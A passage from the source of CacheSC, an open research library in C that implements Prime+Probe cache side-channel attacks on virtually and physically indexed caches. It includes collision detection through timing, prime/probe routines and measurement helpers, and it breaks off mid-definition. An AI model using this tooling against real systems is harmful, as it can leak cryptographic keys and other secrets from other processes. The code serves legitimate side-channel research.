154 | // For virtual addressing, allocating a consecutive chunk of memory is enough 155 | cacheline *cl_arr = (cacheline *) aligned_alloc(PAGE_SIZE, ctx->cache_size); 156 | assert(cl_arr); 157 | 158 | for (uint32_t i = 0; i < ctx->nr_of_cachelines; ++i) { 159 | cl_ptr_arr[i] = cl_arr + i; 160 | cl_ptr_arr[i]->cache_set = get_virt_cache_set(ctx, cl_ptr_arr[i]); 161 | } 162 | } 163 | else if (ctx->addressing == PHYSICAL) { 164 | allocate_cache_ds_phys(ctx, cl_ptr_arr); 165 | } 166 | 167 | return cl_ptr_arr; 168 | } 169 | 170 | /* 171 | * allocate_cache_ds for physical addressing: 172 | * For physical addressing, we either need privileges to translate virtual 173 | * to physical addresses and find the cache set, or we need to do measurements 174 | * to ensure that the cache lines are uniformly distributed over the sets. 175 | */ 176 | void allocate_cache_ds_phys(cache_ctx *ctx, cacheline **cl_ptr_arr) { 177 | cacheline *cls_to_del = NULL; 178 | 179 | if (can_trans_phys_addrs(ctx)) { 180 | allocate_cache_ds_phys_priv(ctx, cl_ptr_arr, &cls_to_del); 181 | } 182 | else { 183 | allocate_cache_ds_phys_unpriv(ctx, cl_ptr_arr, &cls_to_del); 184 | } 185 | 186 | // Free the unused cls 187 | cacheline *cl_to_del = cls_to_del; 188 | cacheline *next_cl_to_del; 189 | 190 | while (cl_to_del != NULL) { 191 | next_cl_to_del = cl_to_del->prev; 192 | free(cl_to_del); 193 | cl_to_del = next_cl_to_del; 194 | } 195 | } 196 | 197 | /* 198 | * With privileges, collision detection can just count the lines per set 199 | */ 200 | void allocate_cache_ds_phys_priv(cache_ctx *ctx, cacheline **cl_ptr_arr, 201 | cacheline **cls_to_del) 202 | { 203 | cacheline *cl_candidates; 204 | uint32_t i; 205 | uint32_t cl_ptr_idx = 0; 206 | uint32_t *cnt_lines_per_set = (uint32_t *) calloc(ctx->sets, sizeof(uint32_t)); 207 | assert(cnt_lines_per_set); 208 | 209 | while (cl_ptr_idx < ctx->nr_of_cachelines) { 210 | cl_candidates = (cacheline *) aligned_alloc(PAGE_SIZE, PAGE_SIZE); 211 | assert(cl_candidates); 212 | memset(cl_candidates, 0, PAGE_SIZE); 213 | 214 | if (cnt_lines_per_set[get_phys_cache_set(ctx, cl_candidates)] 215 | < ctx->associativity) 216 | { 217 | for (i = 0; i < CACHE_GROUP_SIZE; ++i) { 218 | cl_candidates[i].cache_set = get_phys_cache_set(ctx, cl_candidates + i); 219 | cl_ptr_arr[cl_ptr_idx] = cl_candidates + i; 220 | cl_ptr_idx++; 221 | cnt_lines_per_set[cl_candidates[i].cache_set] += 1; 222 | } 223 | } 224 | else { 225 | cl_candidates->prev = *cls_to_del; 226 | *cls_to_del = cl_candidates; 227 | } 228 | } 229 | } 230 | 231 | /* 232 | * Without privileges, we must detect collisions with prime and probe, since not 233 | * more than `associativity` many cache lines of the same cache set can be held in L2 234 | * simultaneously. 235 | */ 236 | void allocate_cache_ds_phys_unpriv(cache_ctx *ctx, cacheline **cl_ptr_arr, 237 | cacheline **cls_to_del) 238 | { 239 | cacheline *cl_candidate, *cl_candidates; 240 | uint32_t cl_candidate_set, i; 241 | uint32_t collisions; 242 | 243 | uint32_t cache_group = 0; 244 | uint32_t cl_ptr_idx = 0; 245 | 246 | uint32_t repeated_collisions = 0; 247 | 248 | // Maintain a list for all cache lines that map to the same L1 set (for 249 | // collision detection) 250 | cacheline **cache_set_ds_ptrs; 251 | uint32_t *cache_set_ds_lens; 252 | 253 | cache_set_ds_ptrs = (cacheline **) calloc(CACHE_GROUP_SIZE, sizeof(cacheline *)); 254 | cache_set_ds_lens = (uint32_t *) calloc(CACHE_GROUP_SIZE, sizeof(uint32_t)); 255 | assert(cache_set_ds_ptrs); 256 | 257 | while (cl_ptr_idx < ctx->nr_of_cachelines) { 258 | // Allocate a page containing CACHE_GROUP_SIZE cachelines 259 | // 260 | // Sometimes, only pages at an even or odd address are allocated 261 | // (after dividing by the page offset). To avoid waiting until the entire 262 | // memory was filled, we just allocate more than needed. Since this is likely 263 | // to be consecutive, we break the allocation pattern. 264 | if (repeated_collisions >= 3) { 265 | cl_candidates = (cacheline *) aligned_alloc(PAGE_SIZE, 2 * PAGE_SIZE); 266 | repeated_collisions = 0; 267 | } 268 | else { 269 | cl_candidates = (cacheline *) aligned_alloc(PAGE_SIZE, PAGE_SIZE); 270 | } 271 | assert(cl_candidates); 272 | memset(cl_candidates, 0, PAGE_SIZE); 273 | 274 | collisions = find_collisions(ctx, cl_candidates, cache_set_ds_ptrs, 275 | cache_set_ds_lens); 276 | 277 | // Try to find collisions 278 | if (collisions == CACHE_GROUP_SIZE) { 279 | ++repeated_collisions; 280 | 281 | cl_candidate_set = cl_candidates->cache_set % CACHE_GROUP_SIZE; 282 | identify_cache_sets(ctx, cl_candidates, 283 | cache_set_ds_ptrs[cl_candidate_set], 284 | cache_set_ds_lens[cl_candidate_set], &cache_group); 285 | 286 | cl_candidates->prev = *cls_to_del; 287 | *cls_to_del = cl_candidates; 288 | } 289 | else { 290 | repeated_collisions = 0; 291 | 292 | for (i = 0; i < CACHE_GROUP_SIZE; ++i) { 293 | // Add all cache lines in the block to the data structure 294 | cl_candidate = cl_candidates + i; 295 | cl_candidate_set = cl_candidate->cache_set % CACHE_GROUP_SIZE; 296 | 297 | cl_ptr_arr[cl_ptr_idx] = cl_candidate; 298 | 299 | // Maintain temporary cache ds for collision detection with P+P 300 | if (!cache_set_ds_ptrs[cl_candidate_set]) { 301 | cache_set_ds_ptrs[cl_candidate_set] = cl_candidate; 302 | } 303 | cl_insert(cache_set_ds_ptrs[cl_candidate_set]->prev, cl_candidate); 304 | 305 | cache_set_ds_lens[cl_candidate_set]++; 306 | cl_ptr_idx++; 307 | } 308 | } 309 | } 310 | 311 | finish_identifying_groups(ctx, cache_set_ds_ptrs, cls_to_del, &cache_group); 312 | } 313 | 314 | /* 315 | * Decide whether a given cacheline `cl_candidate` causes a collision (and thus 316 | * should not be added to the cache ds). 317 | */ 318 | uint32_t find_collisions(cache_ctx *ctx, cacheline *cl_candidates, 319 | cacheline **cache_set_ds_ptrs, uint32_t *cache_set_ds_lens) 320 | { 321 | uint32_t i, collisions, cl_candidate_set; 322 | cacheline *cl_candidate; 323 | 324 | collisions = 0; 325 | 326 | for (i = 0; i < CACHE_GROUP_SIZE; ++i) { 327 | cl_candidate = cl_candidates + i; 328 | 329 | // The offset inside a page is correct, i.e. modulo CACHE_GROUP_SIZE the 330 | // cache set of the virtual address is correct so we preserve that. 331 | cl_candidate_set = get_virt_cache_set(ctx, cl_candidate) 332 | % CACHE_GROUP_SIZE; 333 | cl_candidate->cache_set = cl_candidate_set; 334 | 335 | // While there are at most as many lines as ways, 336 | // there is trivially no collision 337 | if (cache_set_ds_lens[cl_candidate_set] > ctx->associativity 338 | && has_collision(ctx, cl_candidate, cache_set_ds_ptrs[cl_candidate_set], 339 | cache_set_ds_lens[cl_candidate_set])) 340 | { 341 | ++collisions; 342 | } 343 | } 344 | 345 | return collisions; 346 | } 347 | 348 | /* 349 | * Use a given collision to identify the other cache lines in that set. 350 | */ 351 | void identify_cache_sets(cache_ctx *ctx, cacheline *coll_cl, cacheline *cache_set_ds, 352 | uint32_t cache_set_ds_len, uint32_t *cache_group) 353 | { 354 | bool found_collision; 355 | cacheline *curr_cl, *head_cl; 356 | cacheline **identified_cls; 357 | uint32_t identified_cls_idx, i, j; 358 | 359 | identified_cls_idx = ctx->associativity + 1; 360 | identified_cls = (cacheline **) malloc(ctx->associativity * sizeof(cacheline *)); 361 | assert(identified_cls); 362 | 363 | identified_cls_idx = 0; 364 | 365 | // To find cachelines that belong to the same set we temporarily 366 | // replace another cacheline A of the same virtual set with the 367 | // colliding cacheline B and then check if A causes a collision. 368 | curr_cl = cache_set_ds; 369 | head_cl = coll_cl; 370 | 371 | do { 372 | // Only look at cachelines that were not yet categorized. 373 | if (!IS_CACHE_GROUP_INIT(curr_cl->flags)) { 374 | cl_replace(coll_cl, curr_cl); 375 | found_collision = has_collision(ctx, curr_cl, head_cl, 376 | cache_set_ds_len); 377 | cl_replace(curr_cl, coll_cl); 378 | 379 | if (found_collision) { 380 | if (identified_cls_idx < ctx->associativity) { 381 | identified_cls[identified_cls_idx] = (cacheline *) 382 | remove_cache_group_set(curr_cl); 383 | } 384 | ++identified_cls_idx; 385 | } 386 | } 387 | curr_cl = curr_cl->next; 388 | head_cl = cache_set_ds; 389 | } while (curr_cl != cache_set_ds); 390 | 391 | if (identified_cls_idx == ctx->associativity) { 392 | // Mark all cachelines in the page of the collision 393 | for (i = 0; i < identified_cls_idx; ++i) { 394 | for (j = 0; j < CACHE_GROUP_SIZE; ++j) { 395 | identified_cls[i][j].cache_set = *cache_group * CACHE_GROUP_SIZE 396 | + get_virt_cache_set(ctx, identified_cls[i] + j) % CACHE_GROUP_SIZE; 397 | identified_cls[i][j].flags = SET_CACHE_GROUP_INIT( 398 | identified_cls[i][j].flags); 399 | } 400 | } 401 | 402 | *cache_group += 1; 403 | } 404 | } 405 | 406 | /* 407 | * Use P+P to decide whether the given cacheline cl_candidate causes a collision. 408 | * Test for collisions starting from every cacheline in the cache ds (because 409 | * the time is different depending on where you start, probably due to buffer 410 | * side effects). We have cache_set_ds_len - associativity >= 1 collisions if 411 | * the candidate maps to the same L2 set as associativity sets in the current ds 412 | */ 413 | bool has_collision(cache_ctx *ctx, cacheline *cl_candidate, cacheline *cache_set_ds, 414 | uint32_t cache_set_ds_len) 415 | { 416 | uint32_t i, baseline_time; 417 | 418 | uint32_t collisions_overall; 419 | uint32_t time[COLLISION_REP]; 420 | cacheline *cl_head = cache_set_ds; 421 | 422 | collisions_overall = 0; 423 | 424 | do { 425 | // Baseline current datastructure time 426 | for (i = 0; i < COLLISION_REP; ++i) { 427 | readq(cl_candidate); 428 | prime_rev(cl_head); 429 | time[i] = probe_full_ds(cl_head); 430 | } 431 | baseline_time = get_min(time, COLLISION_REP); 432 | 433 | cl_replace(cl_candidate, cl_head); 434 | 435 | for (i = 0; i < COLLISION_REP; ++i) { 436 | prime_rev(cl_candidate); 437 | time[i] = probe_full_ds(cl_candidate); 438 | } 439 | 440 | if (get_avg(time, COLLISION_REP) >= baseline_time + 441 | L3_ACCESS_TIME - L2_ACCESS_TIME) 442 | { 443 | ++collisions_overall; 444 | } 445 | 446 | cl_replace(cl_head, cl_candidate); 447 | cl_head = cl_head->next; 448 | } while (cl_head != cache_set_ds); 449 | 450 | return collisions_overall >= cache_set_ds_len - ctx->associativity; 451 | } 452 | 453 | /* 454 | * Make sure the cache lines of all groups were identified 455 | */ 456 | void finish_identifying_groups(cache_ctx *ctx, cacheline **cache_set_ds_ptrs, 457 | cacheline **cls_to_del, uint32_t *cache_group) 458 | { 459 | cacheline *cl_candidates; 460 | uint32_t cl_candidate_set; 461 | 462 | while (*cache_group < ctx->sets / CACHE_GROUP_SIZE) { 463 | cl_candidates = (cacheline *) aligned_alloc(PAGE_SIZE, PAGE_SIZE); 464 | assert(cl_candidates); 465 | memset(cl_candidates, 0, PAGE_SIZE); 466 | 467 | cl_candidate_set = get_virt_cache_set(ctx, cl_candidates) % CACHE_GROUP_SIZE; 468 | 469 | identify_cache_sets(ctx, cl_candidates, 470 | cache_set_ds_ptrs[cl_candidate_set], 471 | CACHE_GROUP_SIZE, cache_group); 472 | 473 | cl_candidates->prev = *cls_to_del; 474 | *cls_to_del = cl_candidates; 475 | } 476 | } 477 | 478 | /* 479 | * Sanity check on the cache datastructure: 480 | * - Verify that all cache sets are present and filled with the right number of lines 481 | * returns 0 on success 482 | */ 483 | int cache_ds_sanity_check(cache_ctx *ctx, cacheline *head) { 484 | cacheline *curr_cl = head; 485 | // One entry per set, counting the lines in this set 486 | uint32_t *line_cnt_arr = (uint32_t *) calloc(ctx->sets, sizeof(uint32_t)); 487 | assert(line_cnt_arr); 488 | 489 | do { 490 | curr_cl = curr_cl->next; 491 | line_cnt_arr[curr_cl->cache_set] += 1; 492 | } while(curr_cl != head); 493 | 494 | for(uint32_t i = 0; i < ctx->sets; ++i) { 495 | if (line_cnt_arr[i] != ctx->associativity) 496 | return 1; 497 | } 498 | 499 | free(line_cnt_arr); 500 | return 0; 501 | } 502 | 503 | void release_cache_ds(cache_ctx *ctx, cacheline *cache_ds) { 504 | if (!cache_ds) { 505 | return; 506 | } 507 | 508 | cacheline *next_cl, *curr_cl, *cl_base; 509 | uint32_t i, ptrs_to_free_idx; 510 | void **ptrs_to_free; 511 | bool add_ptr; 512 | 513 | if (ctx->addressing == VIRTUAL) { 514 | free(remove_cache_set(ctx, cache_ds)); 515 | } 516 | else { 517 | curr_cl = cache_ds; 518 | ptrs_to_free_idx = 0; 519 | ptrs_to_free = (void **) malloc(ctx->cache_size / PAGE_SIZE 520 | * sizeof(void *)); 521 | assert(ptrs_to_free); 522 | 523 | // Store which pointers have to be freed later (they cannot be freed on 524 | // the go, as later cachelines might still be in this memory (use after free) 525 | do { 526 | next_cl = curr_cl->next; 527 | cl_base = remove_cache_group_set(curr_cl); 528 | 529 | add_ptr = true; 530 | for (i = 0; i < ptrs_to_free_idx; ++i) { 531 | if (cl_base == ptrs_to_free[i]) { 532 | add_ptr = false; 533 | break; 534 | } 535 | } 536 | 537 | if (add_ptr) { 538 | ptrs_to_free[ptrs_to_free_idx] = cl_base; 539 | ++ptrs_to_free_idx; 540 | } 541 | curr_cl = next_cl; 542 | } while (next_cl != cache_ds); 543 | 544 | // Free all pointers 545 | for (i = 0; i < ptrs_to_free_idx; ++i) { 546 | free(ptrs_to_free[i]); 547 | } 548 | 549 | free(ptrs_to_free); 550 | } 551 | } 552 | 553 | void release_cache_set_ds(cache_ctx *ctx, cacheline *cache_set_ds) { 554 | if (ctx->addressing == VIRTUAL) { 555 | free(remove_cache_set(ctx, cache_set_ds)); 556 | } 557 | else { 558 | release_cache_ds(ctx, cache_set_ds); 559 | } 560 | } 561 | 562 | /* 563 | * Create a randomized doubly linked list with the following structure: 564 | * set A <--> set B <--> ... <--> set X <--> set A 565 | * where each set is one of the cache sets, in a random order. 566 | * The sets are a doubly linked list of cachelines themselves: 567 | * set A: 568 | * line[A + x0 * #sets] <--> line[A + x1 * #sets] <--> ... 569 | * where x0, x1, ..., xD is a random permutation of 1, 2, ..., D 570 | * and D = Associativity = | cache set | 571 | */ 572 | cacheline *build_cache_ds(cache_ctx *ctx, cacheline **cl_ptr_arr) { 573 | cacheline **cl_ptr_arr_sorted = (cacheline **) malloc( 574 | ctx->nr_of_cachelines * sizeof(cacheline *)); 575 | uint32_t *idx_per_set = (uint32_t *) calloc(ctx->sets, sizeof(uint32_t)); 576 | 577 | assert(cl_ptr_arr_sorted); 578 | assert(idx_per_set); 579 | 580 | uint32_t set_len = ctx->associativity; 581 | 582 | // Build ptr list sorted by sets 583 | uint32_t idx_curr_set, set_offset; 584 | for (uint32_t i = 0; i < ctx->nr_of_cachelines; ++i) { 585 | set_offset = cl_ptr_arr[i]->cache_set * set_len; 586 | idx_curr_set = idx_per_set[cl_ptr_arr[i]->cache_set]; 587 | 588 | cl_ptr_arr_sorted[set_offset + idx_curr_set] = cl_ptr_arr[i]; 589 | idx_per_set[cl_ptr_arr[i]->cache_set] += 1; 590 | } 591 | 592 | // Build doubly linked list for every set 593 | for (uint32_t set = 0; set < ctx->sets; ++set) { 594 | set_offset = set * set_len; 595 | build_randomized_list_for_cache_set(ctx, cl_ptr_arr_sorted + set_offset); 596 | } 597 | 598 | // Relink the sets among each other 599 | uint32_t *idx_map = (uint32_t *) malloc(ctx->sets * sizeof(uint32_t)); 600 | assert(idx_map); 601 | gen_random_indices(idx_map, ctx->sets); 602 | 603 | cacheline *curr_cl = cl_ptr_arr_sorted[idx_map[0] * set_len]->prev; 604 | cacheline *next_cl; 605 | 606 | for (uint16_t i = 0; i < ctx->sets; ++i) { 607 | curr_cl->next = cl_ptr_arr_sorted[idx_map[(i + 1) % ctx->sets] * set_len]; 608 | next_cl = curr_cl->next->prev; 609 | curr_cl->next->prev = curr_cl; 610 | curr_cl = next_cl; 611 | } 612 | 613 | cacheline *cache_ds = cl_ptr_arr_sorted[idx_map[0] * set_len]; 614 | 615 | free(cl_ptr_arr_sorted); 616 | free(idx_per_set); 617 | free(idx_map); 618 | 619 | return cache_ds; 620 | } 621 | 622 | /* 623 | * Helper function to build a randomised list of cacheline structs for a set 624 | */ 625 | void build_randomized_list_for_cache_set(cache_ctx *ctx, cacheline **cacheline_ptr_arr) 626 | { 627 | uint32_t len = ctx->associativity; 628 | uint32_t *idx_map = (uint32_t *) malloc(len * sizeof(uint32_t)); 629 | assert(idx_map); 630 | gen_random_indices(idx_map, len); 631 | 632 | cacheline *curr_cl; 633 | for (uint16_t i = 0; i < len; ++i) { 634 | curr_cl = cacheline_ptr_arr[idx_map[i]]; 635 | curr_cl->next = cacheline_ptr_arr[idx_map[(i + 1) % len]]; 636 | curr_cl->prev = cacheline_ptr_arr[idx_map[(len - 1 + i) % len]]; 637 | 638 | // curr_cl->cache_set was already set before (depending on addressing) 639 | curr_cl->time_msrmt = 0; 640 | 641 | if (curr_cl == cacheline_ptr_arr[0]) { 642 | curr_cl->flags = SET_FIRST(DEFAULT_FLAGS); 643 | curr_cl->prev->flags = SET_LAST(DEFAULT_FLAGS); 644 | } 645 | else { 646 | curr_cl->flags = curr_cl->flags | DEFAULT_FLAGS; 647 | } 648 | } 649 | 650 | free(idx_map); 651 | } 652 | 653 | /* 654 | * A heuristic to call before measurements to hopefully trigger 655 | * that the maximal (and thus fixed) processor frequenct is used. 656 | */ 657 | void prepare_measurement() { 658 | // busy loop for ~2s to get the cpu to max frequency on machines where it 659 | // cannot be fixed. 660 | uint64_t i = 0; 661 | while(i++ < 2 * PROCESSOR_FREQ); 662 | 663 | // Sample timestamp a few times because we sometimes observed slower values 664 | // on the first calls 665 | for (i = 0; i < 200; ++i) { 666 | rdtsc(); 667 | } 668 | 669 | // Make sure all previous work terminated 670 | cpuid(); 671 | } 672 | -------------------------------------------------------------------------------- /src/cache.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * Implementation of the Prime+Probe attack against caches. Initially based on 25 | * the description of "Efficient Cache Attacks on AES, and Countermeasures" 26 | * by E.Tromer, D.A.Osvik and A.Shamir. However, extended to work on contemporary 27 | * architectures as well as physically indexed caches. 28 | */ 29 | 30 | #ifndef HEADER_CACHE_H 31 | #define HEADER_CACHE_H 32 | 33 | #ifndef _GNU_SOURCE 34 | #define _GNU_SOURCE 35 | #endif 36 | 37 | #define COLLISION_REP 100 38 | 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | #include 45 | 46 | #include "addr_translation.h" 47 | #include "asm.h" 48 | #include "cache_types.h" 49 | #include "l1_asm.h" 50 | #include "l2_asm.h" 51 | #include "util.h" 52 | 53 | cacheline *prepare_cache_ds(cache_ctx *ctx); 54 | cacheline *prepare_cache_set_ds(cache_ctx *ctx, uint32_t *sets, uint32_t sets_len); 55 | void release_cache_ds(cache_ctx *ctx, cacheline *cl); 56 | void release_cache_set_ds(cache_ctx *ctx, cacheline *cache_set_ds); 57 | void prepare_measurement(void); 58 | 59 | /* 60 | * The below functions are all "static inline" to prevent 61 | * the compiler from generating additional code that interferes 62 | * with measurements by accessing memory locations 63 | * 64 | * 65 | * On the data structure: 66 | * To minimise cache trashing, we use a doubly linked list for 67 | * cache sets and traverse it forward for priming and backwards 68 | * for probing. The cache sets are a simple linked list. 69 | */ 70 | __attribute__((always_inline)) 71 | static inline uint32_t access_diff(void *p); 72 | __attribute__((always_inline)) 73 | static inline bool is_cached(cache_ctx *ctx, void *p); 74 | __attribute__((always_inline)) 75 | static inline cacheline *prime(cacheline *head); 76 | __attribute__((always_inline)) 77 | static inline cacheline *prime_rev(cacheline *head); 78 | __attribute__((always_inline)) 79 | static inline cacheline *prime_cacheset(cacheline *head); 80 | __attribute__((always_inline)) 81 | static inline cacheline *probe(cache_level cl, cacheline *head); 82 | __attribute__((always_inline)) 83 | static inline cacheline *probe_cacheset(cache_level cl, cacheline *curr_cl); 84 | __attribute__((always_inline)) 85 | static inline cacheline *probe_all_cachelines(cacheline *head); 86 | __attribute__((always_inline)) 87 | static inline uint32_t probe_full_ds(cacheline *head); 88 | __attribute__((always_inline)) 89 | static inline void get_per_set_sum_of_msrmts(cacheline *head, time_type *res); 90 | __attribute__((always_inline)) 91 | static inline void get_all_msrmts_in_order(cacheline *head, time_type *res); 92 | __attribute__((always_inline)) 93 | static inline void get_msrmt_for_set(cacheline *head, time_type *res); 94 | __attribute__((always_inline)) 95 | static inline void get_msrmts_for_all_set(cacheline *head, time_type *res); 96 | __attribute__((always_inline)) 97 | static inline void clear_cache(cache_ctx *ctx); 98 | 99 | // Externally defined in automatically generated inlined ASM files 100 | __attribute__((always_inline)) 101 | static inline cacheline *asm_l1_probe_cacheset(cacheline *curr_cl); 102 | __attribute__((always_inline)) 103 | static inline cacheline *asm_l2_probe_cacheset(cacheline *curr_cl); 104 | 105 | static inline uint32_t access_diff(void *p) { 106 | return accesstime(p) - accesstime_overhead(); 107 | } 108 | 109 | /* 110 | * Accesses the given pointer and compares the access time to 111 | * the access latency of the given cache context 112 | */ 113 | static inline bool is_cached(cache_ctx *ctx, void *p) { 114 | return access_diff(p) <= ctx->access_time; 115 | } 116 | 117 | /* 118 | * Prime phase: fill the target cache (encoded in the size of the data structure) 119 | * with the prepared data structure, i.e. with attacker data. 120 | */ 121 | static inline cacheline *prime(cacheline *head) { 122 | cacheline *curr_cl = head; 123 | 124 | cpuid(); 125 | do { 126 | curr_cl = curr_cl->next; 127 | mfence(); 128 | } while(curr_cl != head); 129 | cpuid(); 130 | 131 | return curr_cl->prev; 132 | } 133 | 134 | /* 135 | * Same as prime, but in the reverse direction, i.e. the same direction that probe 136 | * uses. This is beneficial for the following scenarios: 137 | * - L1: 138 | * - Trigger collision chain-reaction to amplify an evicted set (but this has 139 | * the downside of more noisy measurements). 140 | * - L2: 141 | * - Always use this for L2, otherwise the first cache sets will still reside 142 | * in L1 unless the victim filled L1 completely. In this case, an eviction 143 | * has randomly (depending on where the cache set is placed in the randomised 144 | * data structure) the following effect: 145 | * A) An evicted set is L2_ACCESS_TIME - L1_ACCESS_TIME slower 146 | * B) An evicted set is L3_ACCESS_TIME - L2_ACCESS_TIME slower 147 | */ 148 | static inline cacheline *prime_rev(cacheline *head) { 149 | cacheline *curr_cl = head; 150 | 151 | cpuid(); 152 | do { 153 | curr_cl = curr_cl->prev; 154 | mfence(); 155 | } while(curr_cl != head); 156 | cpuid(); 157 | 158 | return curr_cl->prev; 159 | } 160 | 161 | /* 162 | * Same as prime but only for a given set (encoded in the created data structure) 163 | * XXX: Deprecated? 164 | */ 165 | static inline cacheline *prime_cacheset(cacheline *head) { 166 | cacheline *curr_cl; 167 | 168 | for (uint16_t i = 0; i < PLRU_REPS; ++i) { 169 | curr_cl = head; 170 | 171 | // Avoid accessing any cacheline outside this set 172 | while (1) { 173 | incq(curr_cl->padding); 174 | 175 | if (__builtin_expect(IS_LAST(curr_cl->flags), 0)) 176 | break; 177 | 178 | curr_cl = curr_cl->next; 179 | } 180 | } 181 | 182 | return curr_cl; 183 | } 184 | 185 | /* 186 | * Calls the unrolled assembly code to probe a cache set, which is tailored 187 | * to the given cache level. 188 | */ 189 | static inline cacheline *probe_cacheset(cache_level cl, cacheline *curr_cl) { 190 | if (cl == L1) 191 | return asm_l1_probe_cacheset(curr_cl); 192 | else if (cl == L2) 193 | return asm_l2_probe_cacheset(curr_cl); 194 | else 195 | return NULL; 196 | } 197 | 198 | /* 199 | * Probe phase: access the data that was loaded to cache in the prime phase 200 | * again and measure the time to detect evictions. 201 | * Measure the time for all cache lines in the same set together to minimise 202 | * the overhead. 203 | */ 204 | static inline cacheline *probe(cache_level cl, cacheline *head) { 205 | cacheline *curr_cs = head; 206 | 207 | do { 208 | curr_cs = probe_cacheset(cl, curr_cs); 209 | } while(__builtin_expect(curr_cs != head, 1)); 210 | 211 | return curr_cs->next; 212 | } 213 | 214 | /* 215 | * Probe and measure cachelines without grouping them to sets. 216 | * Has high overhead cost which might hide evictions. 217 | */ 218 | static inline cacheline *probe_all_cachelines(cacheline *head) { 219 | // Traverse cache sets in reverse order for minimal cache impact 220 | cacheline *curr_cl = head; 221 | do { 222 | curr_cl->time_msrmt = accesstime(curr_cl); 223 | curr_cl = curr_cl->prev; 224 | } while (__builtin_expect(curr_cl != head, 1)); 225 | 226 | return curr_cl->next; 227 | } 228 | 229 | /* 230 | * Probe the full data structure in a single time measurement 231 | */ 232 | static inline uint32_t probe_full_ds(cacheline *head) { 233 | uint32_t time; 234 | cacheline *curr_cl = head; 235 | 236 | start_timer(); 237 | do { 238 | curr_cl = curr_cl->prev; 239 | } while(curr_cl != head); 240 | stop_timer(&time); 241 | 242 | return time; 243 | } 244 | 245 | /* 246 | * Extract the time measurements from the attack structure. This assumes all 247 | * cache lines have been measured separately and sums the access times of those 248 | * lines that map to the same cache set. 249 | */ 250 | static inline void get_per_set_sum_of_msrmts(cacheline *head, time_type *res) { 251 | cacheline *curr_cl = head; 252 | do { 253 | res[curr_cl->cache_set] += curr_cl->time_msrmt; 254 | curr_cl = curr_cl->next; 255 | } while (curr_cl != head); 256 | } 257 | 258 | /* 259 | * Extract the time measurements for each cache line from the attack structure. 260 | */ 261 | static inline void get_all_msrmts_in_order(cacheline *head, time_type *res) { 262 | cacheline *curr_cl = head; 263 | uint32_t idx = 0; 264 | do { 265 | res[idx] = curr_cl->time_msrmt; 266 | curr_cl = curr_cl->prev; 267 | ++idx; 268 | } while (curr_cl != head); 269 | } 270 | 271 | /* 272 | * Extract the measurement of the cache set of `head` (which timed all its 273 | * cache lines in a single measurement) 274 | */ 275 | static inline void get_msrmt_for_set(cacheline *head, time_type *res) { 276 | cacheline *curr_cl = head; 277 | do { 278 | if (curr_cl->cache_set == head->cache_set && IS_FIRST(curr_cl->flags)) { 279 | *res = curr_cl->time_msrmt; 280 | } 281 | 282 | curr_cl = curr_cl->prev; 283 | } while (curr_cl != head); 284 | } 285 | 286 | /* 287 | * Extract the time measurements from the complete cache ds. This assumes that 288 | * all cache lines of a cache set were measured together. 289 | */ 290 | static inline void get_msrmts_for_all_set(cacheline *head, time_type *res) { 291 | cacheline *curr_cl = head; 292 | do { 293 | if (IS_FIRST(curr_cl->flags)) { 294 | res[curr_cl->cache_set] = curr_cl->time_msrmt; 295 | } 296 | 297 | curr_cl = curr_cl->prev; 298 | } while (curr_cl != head); 299 | } 300 | 301 | /* 302 | * This is a heuristic to hopefully clear the cache. The idea is to fill 303 | * the cache with known data and then flush those addresses. 304 | * However, the Tree-PLRU state is still unknown. 305 | */ 306 | static inline void clear_cache(cache_ctx *ctx) { 307 | cacheline *cacheline_arr = (cacheline *) malloc(ctx->cache_size); 308 | 309 | // Fill cache 310 | for (uint32_t i = 0; i < ctx->nr_of_cachelines; ++i) { 311 | incq(cacheline_arr[i].padding); 312 | } 313 | 314 | // Flush everything from cache 315 | for (uint32_t i = 0; i < ctx->nr_of_cachelines; ++i) { 316 | clflush(cacheline_arr + i); 317 | } 318 | 319 | free(cacheline_arr); 320 | } 321 | 322 | #endif // HEADER_CACHE_H 323 | -------------------------------------------------------------------------------- /src/cache_types.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This header file contains the definitions of the P+P data structure and 25 | * some useful functions related to it. 26 | */ 27 | 28 | 29 | #ifndef HEADER_CACHE_CONF_H 30 | #define HEADER_CACHE_CONF_H 31 | 32 | #include 33 | #include 34 | 35 | #include "device_conf.h" 36 | 37 | #define PLRU_REPS 8 38 | 39 | #define SET_MASK(SETS) (((((uintptr_t) SETS) * CACHELINE_SIZE) - 1) ^ (CACHELINE_SIZE - 1)) 40 | 41 | #define PAGE_MASK (PAGE_SIZE - 1) 42 | #define REMOVE_PAGE_OFFSET(ptr) ((void *) (((uintptr_t) ptr) & ~PAGE_MASK)) 43 | #define GET_BIT(b, i) (((b & (1 << i)) >> i) & 1) 44 | #define SET_BIT(b, i) (b | (1 << i)) 45 | 46 | /* Operate cacheline flags 47 | * Used flags: 48 | * 32 2 1 0 49 | * | | ... | cache group initialized | last | first | 50 | */ 51 | #define 